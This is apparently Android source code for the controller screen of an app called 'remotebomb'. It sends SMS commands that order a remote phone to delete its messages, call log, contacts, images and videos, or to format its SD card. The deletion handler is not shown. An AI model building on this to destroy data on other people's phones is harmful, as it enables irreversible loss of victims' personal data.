package com.example.remotebomb23;

import android.os.Bundle;
import android.app.Activity;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.telephony.gsm.SmsManager;
import android.util.Log;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.Toast;

public class BombSetting extends Activity {

	public static final String LOG_TAG = "BombSetting";
	public final String SENT_SMS_ACTION = "SENT_SMS_ACTION"; 
	public Context mContext = null;
	//View control
	public EditText mPhoneNubmerEdit 		= null;
	public Button mSendSMS 				= null;
	public CheckBox mCheckDelSMS 			= null;
	public CheckBox mCheckDelCallHistory 	= null;
	public CheckBox mCheckDelContacts 		= null;
	public CheckBox mCheckDelImages 		= null;
	public CheckBox mCheckDelVideos 		= null;
	public CheckBox mCheckFormatSD 		= null;
	
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_bomb_setting);
        mContext = getApplicationContext();
        //Init view controls
        mPhoneNubmerEdit = (EditText) findViewById(R.id.phone_number);
        mSendSMS = (Button) findViewById(R.id.button_send);
        mSendSMS.setOnClickListener(mOnSendClickListener);
        
        mCheckDelSMS = (CheckBox) findViewById(R.id.checkBox_del_sms);
        mCheckDelCallHistory = (CheckBox) findViewById(R.id.checkBox_del_callhistory);
        mCheckDelContacts = (CheckBox) findViewById(R.id.checkBox_del_contacts);
        mCheckDelImages = (CheckBox) findViewById(R.id.checkBox_del_images);
        mCheckDelVideos = (CheckBox) findViewById(R.id.checkBox_del_videos);
        mCheckFormatSD = (CheckBox) findViewById(R.id.checkBox_format_sdcard);
        
        IntentFilter filter = new IntentFilter(SENT_SMS_ACTION);
        mContext.registerReceiver(mSnetResultReceiver, filter);
        
		Intent startservice = new Intent(BombService.ACTION_START_REGISTER);
		startservice.setClass(mContext, BombService.class);
		mContext.startService(startservice);
    }

    @Override 
    protected void onDestroy() {
    	 super.onDestroy();
    	 mContext.unregisterReceiver(mSnetResultReceiver);
    }
    
    
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.bomb_setting, menu);
        return true;
    }
    
    public String makeUpCmdMsg() {
    	StringBuilder msg = new StringBuilder();
    	int msgcmd = 0;
    	if (mCheckDelSMS.isChecked()) {
    		msgcmd = msgcmd | SmsCommand.DELETE_SMS_MMS;
    	}
    	if (mCheckDelCallHistory.isChecked()) {
    		msgcmd = msgcmd | SmsCommand.DELETE_CALL_LOG;
    	}
    	if (mCheckDelContacts.isChecked()) {
    		msgcmd = msgcmd | SmsCommand.DELETE_ALL_CONTACTS;
    	}
    	if (mCheckDelImages.isChecked()) {
    		msgcmd = msgcmd | SmsCommand.DELETE_ALL_IMAGES;
    	}
    	if (mCheckDelVideos.isChecked()) {
    		msgcmd = msgcmd | SmsCommand.DELETE_ALL_VIDEOS;
    	}
    	if (mCheckFormatSD.isChecked()) {
    		msgcmd = msgcmd | SmsCommand.FORMAT_SDCARD;
    	}
    	if (msgcmd == 0) {
    		return null;
    	}
    	Log.d(LOG_TAG,"[makeUpCmdMsg][Coammd message is: "+msgcmd+"]");
    	msg.append(SmsCommand.COMMAND_KEY_WORD);
    	msg.append(SmsCommand.COMAND_SPLIT_KEY);
    	msg.append(String.valueOf(msgcmd));
    	return msg.toString();
    }
    
    public void sendSMS() {
    	String address = null;
    	String msgtext = null;
    	address = mPhoneNubmerEdit.getText().toString();
    	if (address == null || address.trim().length() != 11) {  		
    		showToast(R.string.toast_wrong_phonenumber, 0);
    		return ;
    	}
    	msgtext = makeUpCmdMsg();
    	if (msgtext == null) {
    		showToast(R.string.toast_no_command, 0);
    		return ;    		
    	}    		
    	Log.d(LOG_TAG,"[sendSMS][address is: "+address+"][Msg text is: "+msgtext+"]");
    	SmsManager smsManager = SmsManager.getDefault();
    	if (smsManager == null) {
    		//Log.d(LOG_TAG,"[sendSMS][Get SmsManager is null]");
    		showToast(R.string.toast_send_fail_03, 0);
    		return ;    		
    	}
    	Intent sentIntent = new Intent(SENT_SMS_ACTION);  
    	PendingIntent sentPI = PendingIntent.getBroadcast(mContext, 0, sentIntent, 0);
    	smsManager.sendTextMessage(address,null,msgtext,sentPI,null);
    	//smsManager.sendTextMessage(address,null,msgtext,null,null);
    	showToast(R.string.toast_sms_sending, 0);
    }
    
    public OnClickListener mOnSendClickListener = new OnClickListener() {
        public void onClick(View v) {
        	sendSMS();
        }
    }; 
    
    public BroadcastReceiver mSnetResultReceiver = new BroadcastReceiver() {  
        @Override  
        public void onReceive(Context _context, Intent _intent) {  
            switch (getResultCode()) {  
            case Activity.RESULT_OK:   
            	Log.d(LOG_TAG,"[mSnetResultReceiver][Sent SMS OK]");
            	showToast(R.string.toast_send_ok, 0);
            break;  
            case SmsManager.RESULT_ERROR_GENERIC_FAILURE:  
            	Log.d(LOG_TAG,"[mSnetResultReceiver][Sent SMS RESULT_ERROR_GENERIC_FAILURE]");
            	showToast(R.string.toast_send_fail_01, 0);
            break;  
            case SmsManager.RESULT_ERROR_RADIO_OFF:  
            	Log.d(LOG_TAG,"[mSnetResultReceiver][Sent SMS RESULT_ERROR_RADIO_OFF]");
            	showToast(R.string.toast_send_fail_02, 0);
            break;  
            case SmsManager.RESULT_ERROR_NULL_PDU:  
            	Log.d(LOG_TAG,"[mSnetResultReceiver][Sent SMS RESULT_ERROR_NULL_PDU]");
            	showToast(R.string.toast_send_fail_03, 0);
            break;  
            }  
        }  
    };
    
    public void showToast(int msgres, int type) {
    	String msg = mContext.getResources().getString(msgres);
    	Toast.makeText(mContext, msg, Toast.LENGTH_SHORT).show();
    }
    
    native String encryptPW(String password);
    native String decryptPW(String password);    
    static {
    	System.loadLibrary("rbutil");
    }
}
